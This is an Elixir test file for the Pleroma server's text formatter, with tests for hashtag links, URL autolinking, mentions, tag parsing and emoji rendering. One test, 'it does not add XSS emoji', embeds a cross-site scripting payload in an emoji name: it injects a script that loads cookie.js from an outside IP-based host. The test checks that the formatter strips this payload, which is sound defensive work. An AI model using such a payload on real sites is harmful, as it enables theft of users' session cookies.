pleroma/test/formatter_test.exs

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defmodule Pleroma.FormatterTest do
alias Pleroma.Formatter
use Pleroma.DataCase
import Pleroma.Factory
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describe ".add_hashtag_links" do
test "turns hashtags into links" do
text = "I love #cofe and #2hu"
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expected_text =
"I love <a href='http://localhost:4001/tag/cofe' rel='tag'>#cofe</a> and <a href='http://localhost:4001/tag/2hu' rel='tag'>#2hu</a>"
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tags = Formatter.parse_tags(text)
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assert expected_text ==
Formatter.add_hashtag_links({[], text}, tags) |> Formatter.finalize()
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end
end
describe ".add_links" do
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test "turning urls into links" do
text = "Hey, check out https://www.youtube.com/watch?v=8Zg1-TufF%20zY?x=1&y=2#blabla ."
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expected =
"Hey, check out <a href=\"https://www.youtube.com/watch?v=8Zg1-TufF%20zY?x=1&amp;y=2#blabla\">https://www.youtube.com/watch?v=8Zg1-TufF%20zY?x=1&amp;y=2#blabla</a> ."
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assert Formatter.add_links({[], text}) |> Formatter.finalize() == expected
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text = "https://mastodon.social/@lambadalambda"
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expected =
"<a href=\"https://mastodon.social/@lambadalambda\">https://mastodon.social/@lambadalambda</a>"
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assert Formatter.add_links({[], text}) |> Formatter.finalize() == expected
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text = "https://mastodon.social:4000/@lambadalambda"
expected =
"<a href=\"https://mastodon.social:4000/@lambadalambda\">https://mastodon.social:4000/@lambadalambda</a>"
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assert Formatter.add_links({[], text}) |> Formatter.finalize() == expected
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text = "@lambadalambda"
expected = "@lambadalambda"
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assert Formatter.add_links({[], text}) |> Formatter.finalize() == expected
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text = "http://www.cs.vu.nl/~ast/intel/"
expected = "<a href=\"http://www.cs.vu.nl/~ast/intel/\">http://www.cs.vu.nl/~ast/intel/</a>"
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assert Formatter.add_links({[], text}) |> Formatter.finalize() == expected
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text = "https://forum.zdoom.org/viewtopic.php?f=44&t=57087"
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expected =
"<a href=\"https://forum.zdoom.org/viewtopic.php?f=44&amp;t=57087\">https://forum.zdoom.org/viewtopic.php?f=44&amp;t=57087</a>"
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assert Formatter.add_links({[], text}) |> Formatter.finalize() == expected
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text = "https://en.wikipedia.org/wiki/Sophia_(Gnosticism)#Mythos_of_the_soul"
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expected =
"<a href=\"https://en.wikipedia.org/wiki/Sophia_(Gnosticism)#Mythos_of_the_soul\">https://en.wikipedia.org/wiki/Sophia_(Gnosticism)#Mythos_of_the_soul</a>"
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assert Formatter.add_links({[], text}) |> Formatter.finalize() == expected
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text = "https://www.google.co.jp/search?q=Nasim+Aghdam"
expected =
"<a href=\"https://www.google.co.jp/search?q=Nasim+Aghdam\">https://www.google.co.jp/search?q=Nasim+Aghdam</a>"
assert Formatter.add_links({[], text}) |> Formatter.finalize() == expected
text = "https://en.wikipedia.org/wiki/Duff's_device"
expected =
"<a href=\"https://en.wikipedia.org/wiki/Duff&#39;s_device\">https://en.wikipedia.org/wiki/Duff&#39;s_device</a>"
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assert Formatter.add_links({[], text}) |> Formatter.finalize() == expected
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text = "https://pleroma.com https://pleroma.com/sucks"
expected =
"<a href=\"https://pleroma.com\">https://pleroma.com</a> <a href=\"https://pleroma.com/sucks\">https://pleroma.com/sucks</a>"
assert Formatter.add_links({[], text}) |> Formatter.finalize() == expected
text = "xmpp:contact@hacktivis.me"
expected = "<a href=\"xmpp:contact@hacktivis.me\">xmpp:contact@hacktivis.me</a>"
assert Formatter.add_links({[], text}) |> Formatter.finalize() == expected
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end
end
describe "add_user_links" do
test "gives a replacement for user links" do
text = "@gsimg According to @archaeme, that is @daggsy. Also hello @archaeme@archae.me"
gsimg = insert(:user, %{nickname: "gsimg"})
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archaeme =
insert(:user, %{
nickname: "archaeme",
info: %{"source_data" => %{"url" => "https://archeme/@archaeme"}}
})
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archaeme_remote = insert(:user, %{nickname: "archaeme@archae.me"})
mentions = Pleroma.Formatter.parse_mentions(text)
{subs, text} = Formatter.add_user_links({[], text}, mentions)
assert length(subs) == 3
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Enum.each(subs, fn {uuid, _} -> assert String.contains?(text, uuid) end)
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expected_text =
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"<span><a class='mention' href='#{gsimg.ap_id}'>@<span>gsimg</span></a></span> According to <span><a class='mention' href='#{
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"https://archeme/@archaeme"
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}'>@<span>archaeme</span></a></span>, that is @daggsy. Also hello <span><a class='mention' href='#{
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archaeme_remote.ap_id
}'>@<span>archaeme</span></a></span>"
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assert expected_text == Formatter.finalize({subs, text})
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end
test "gives a replacement for single-character local nicknames" do
text = "@o hi"
o = insert(:user, %{nickname: "o"})
mentions = Formatter.parse_mentions(text)
{subs, text} = Formatter.add_user_links({[], text}, mentions)
assert length(subs) == 1
Enum.each(subs, fn {uuid, _} -> assert String.contains?(text, uuid) end)
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expected_text = "<span><a class='mention' href='#{o.ap_id}'>@<span>o</span></a></span> hi"
assert expected_text == Formatter.finalize({subs, text})
end
test "does not give a replacement for single-character local nicknames who don't exist" do
text = "@a hi"
mentions = Formatter.parse_mentions(text)
{subs, text} = Formatter.add_user_links({[], text}, mentions)
assert length(subs) == 0
Enum.each(subs, fn {uuid, _} -> assert String.contains?(text, uuid) end)
expected_text = "@a hi"
assert expected_text == Formatter.finalize({subs, text})
end
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end
describe ".parse_tags" do
test "parses tags in the text" do
text = "Here's a #Test. Maybe these are #working or not. What about #漢字? And #は。"
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expected = [
{"#Test", "test"},
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{"#working", "working"},
{"#漢字", "漢字"},
{"#", ""}
]
assert Formatter.parse_tags(text) == expected
end
end
test "it can parse mentions and return the relevant users" do
text = "@gsimg According to @archaeme, that is @daggsy. Also hello @archaeme@archae.me"
gsimg = insert(:user, %{nickname: "gsimg"})
archaeme = insert(:user, %{nickname: "archaeme"})
archaeme_remote = insert(:user, %{nickname: "archaeme@archae.me"})
expected_result = [
{"@gsimg", gsimg},
{"@archaeme", archaeme},
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{"@archaeme@archae.me", archaeme_remote}
]
assert Formatter.parse_mentions(text) == expected_result
end
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test "it adds cool emoji" do
text = "I love :moominmamma:"
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expected_result =
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"I love <img height=\"32px\" width=\"32px\" alt=\"moominmamma\" title=\"moominmamma\" src=\"/finmoji/128px/moominmamma-128.png\" />"
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assert Formatter.emojify(text) == expected_result
end
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test "it does not add XSS emoji" do
text =
"I love :'onload=\"this.src='bacon'\" onerror='var a = document.createElement(\"script\");a.src=\"//51.15.235.162.xip.io/cookie.js\";document.body.appendChild(a):"
custom_emoji = %{
"'onload=\"this.src='bacon'\" onerror='var a = document.createElement(\"script\");a.src=\"//51.15.235.162.xip.io/cookie.js\";document.body.appendChild(a)" =>
"https://placehold.it/1x1"
}
expected_result =
"I love <img height=\"32px\" width=\"32px\" alt=\"\" title=\"\" src=\"https://placehold.it/1x1\" />"
assert Formatter.emojify(text, custom_emoji) == expected_result
end
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test "it returns the emoji used in the text" do
text = "I love :moominmamma:"
assert Formatter.get_emoji(text) == [{"moominmamma", "/finmoji/128px/moominmamma-128.png"}]
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end
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end